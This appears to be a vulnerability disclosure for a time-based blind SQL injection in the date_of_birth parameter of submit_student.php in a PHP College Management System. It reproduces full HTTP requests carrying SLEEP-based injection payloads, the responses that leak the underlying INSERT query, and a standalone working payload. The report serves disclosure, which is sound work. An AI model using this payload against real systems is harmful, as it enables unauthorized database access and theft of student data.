

SQL injection vulnerability exists in date_of_birth parameter of submit_student.php file of College Management System

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

Sleep time is 5s:

Request

```

1
-----YWJKMTQzNDcw
Content-Disposition: form-data; name="course_name"
BCA
-----YWJKMTQzNDcw
Content-Disposition: form-data; name="date_of_admission"
01/01/1967
-----YWJKMTQzNDcw
Content-Disposition: form-data; name="date_of_birth"
1'+(SELECT 1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))v))+
-----YWJKMTQzNDcw
Content-Disposition: form-data; name="email"
testing@example.com
-----YWJKMTQzNDcw
Content-Disposition: form-data; name="
emergency_contact_number"
1
-----YWJKMTQzNDcw
Content-Disposition: form-data; name="
emergency_contact_person"

```

Response

```

1 HTTP/1.1 200 OK
2 Server: nginx/1.15.11
3 Date: Fri, 10 May 2024 13:48:56 GMT
4 Content-Type: text/html; charset=UTF-8
5 Connection: keep-alive
6 X-Powered-By: PHP/7.3.4
7 Content-Length: 663
8
9 Error: INSERT INTO students (student_id, first_name,
last_name, date_of_birth, gender, email, contact_number,
address, course_name, admission_year,
date_of_admission, emergency_contact_person,
emergency_contact_number, guardian_name, guardian_email,
guardian_contact_number,
student_photo, username, password, usertype) VALUES ('1',
'Zmskyuza', 'Zmskyuza', '1'+(SELECT 1 AND (SELECT 1 FROM
(SELECT(SLEEP(5)))v))+', 'female',
'testing@example.com', '1', '1', 'BCA',
'1967', '01/01/1967', '1', '1', 'Zmskyuza',
'testing@example.com', '1',
'student_photos/file.txt', 'Zmskyuza', 'u]H[ww6KrA9F.x-F',
'student')<br>
Incorrect date value: '2' for column 'date_of_birth' at
row 1

```

Done 852 bytes | 5,004 millis

Sleep time is 10s:

Request

```

1
-----YWJKMTQzNDcw
Content-Disposition: form-data; name="course_name"
BCA
-----YWJKMTQzNDcw
Content-Disposition: form-data; name="date_of_admission"
01/01/1967
-----YWJKMTQzNDcw
Content-Disposition: form-data; name="date_of_birth"
1'+(SELECT 1 AND (SELECT 1 FROM (SELECT(SLEEP(10)))v))+
-----YWJKMTQzNDcw
Content-Disposition: form-data; name="email"
testing@example.com
-----YWJKMTQzNDcw
Content-Disposition: form-data; name="
emergency_contact_number"
1
-----YWJKMTQzNDcw
Content-Disposition: form-data; name="
emergency_contact_person"

```

Response

```

1 HTTP/1.1 200 OK
2 Server: nginx/1.15.11
3 Date: Fri, 10 May 2024 13:49:33 GMT
4 Content-Type: text/html; charset=UTF-8
5 Connection: keep-alive
6 X-Powered-By: PHP/7.3.4
7 Content-Length: 664
8
9 Error: INSERT INTO students (student_id, first_name,
last_name, date_of_birth, gender, email, contact_number,
address, course_name, admission_year,
date_of_admission, emergency_contact_person,
emergency_contact_number, guardian_name, guardian_email,
guardian_contact_number,
student_photo, username, password, usertype) VALUES ('1',
'Zmskyuza', 'Zmskyuza', '1'+(SELECT 1 AND (SELECT 1 FROM
(SELECT(SLEEP(10)))v))+', 'female',
'testing@example.com', '1', '1', 'BCA',
'1967', '01/01/1967', '1', '1', 'Zmskyuza',
'testing@example.com', '1',
'student_photos/file.txt', 'Zmskyuza', 'u]H[ww6KrA9F.x-F',
'student')<br>
Incorrect date value: '2' for column 'date_of_birth' at
row 1

```

Done 853 bytes | 10,007 millis

Payload: date_of_birth=1'+(SELECT 1 AND (SELECT 1 FROM (SELECT(SLEEP(10)))v))+'

Source Download:

<https://www.kashipara.com/project/php/12746/college-management-system-php-project-source-code>